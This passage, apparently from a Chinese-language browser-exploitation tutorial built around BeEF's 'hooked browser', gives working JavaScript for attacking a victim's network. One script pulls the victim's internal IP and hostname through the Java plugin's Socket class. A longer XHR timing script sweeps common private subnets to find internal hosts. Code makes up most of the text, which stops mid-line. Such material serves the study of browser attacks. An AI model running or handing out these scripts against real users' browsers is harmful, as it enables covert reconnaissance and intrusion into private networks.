攻击网络

识别目标

识别勾连浏览器的内部IP

JavaScript可以生成Java调用，从而通过JRE浏览器插件来执行。甚至还可以实例化Java的java.net.Socket类。通过这个类，JavaScript可以取得浏览器的内部IP和主机名称。

示例

• 在Firefox 15之前的版本提取内部IP地址和主机名称

  var sock = new java.net.Socket();
  var ip = "";
  var hostname = "";
  try {
       
  	sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));     //在本地计算机打开一个监听端口
  	sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));     //连接
    ip = sock.getLocalAddress().getHostAddress();    //获取IP
    hostname = sock.getLocalAddress().getHostName();    //获取主机名称
  }
  

工具

• BeEF的Get System Info命令模块

识别勾连浏览器的子网

示例

//默认网关IP地址
var ranges = [
'192.168.0.0','192.168.1.0',
'192.168.2.0','192.168.10.0',
'192.168.100.0','192.168.123.0',
'10.0.0.0','10.0.1.0',
'10.1.1.0'
];
var discovered_hosts = [];
// XHR超时
var timeout = 5000;

function doRequest(host) {
   
	var d = new Date;
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = processRequest;
	xhr.timeout = timeout;
	
	function processRequest(){
   
		if(xhr.readyState == 4){
   
			var time = new Date().getTime() - d.getTime();
			var aborted = false;
			// 如果调用window.stop()，触发的是abort
			// http://www.w3.org/TR/XMLHttpRequest/#event-handlers
			xhr.onabort = function(){
   
				aborted = true;
			}
			
			xhr.onloadend = function(){
   
				if(time < timeout){
   
					// abort总在onloadend之前触发
					if(time > 10 && aborted === false){
   
						console.log('Discovered host ['+host+'] in ['+time+'] ms');
						discovered_hosts.push(host);
					}
				}
			}
		}
	}
	
	xhr.open("GET", "http://" + host, true);
	xhr.send();
}

var start_time = new Date().getTime();
function checkComplete(){
   
	var current_time = new Date().getTime();
	if((current_time - start_time) > timeout + 1000){
   
		// 结束挂起的XHR，尤其是在Chrome中
		window.stop();
		clearInterval(checkCompleteInterval);
		console.log("Discovered hosts:\n" + discovered_hosts.join("\n"));
	}
}

var checkCompleteInterval = setInterval(function(){
   checkComplete()}, 1000);
for (var i = 0; i < ranges.length; i++) {
   
	// 以下代码返回像192.168.0之类的
	var c = ranges[i].split('.')[0]+'.'+ ranges[i].split('.')[1]+'.&#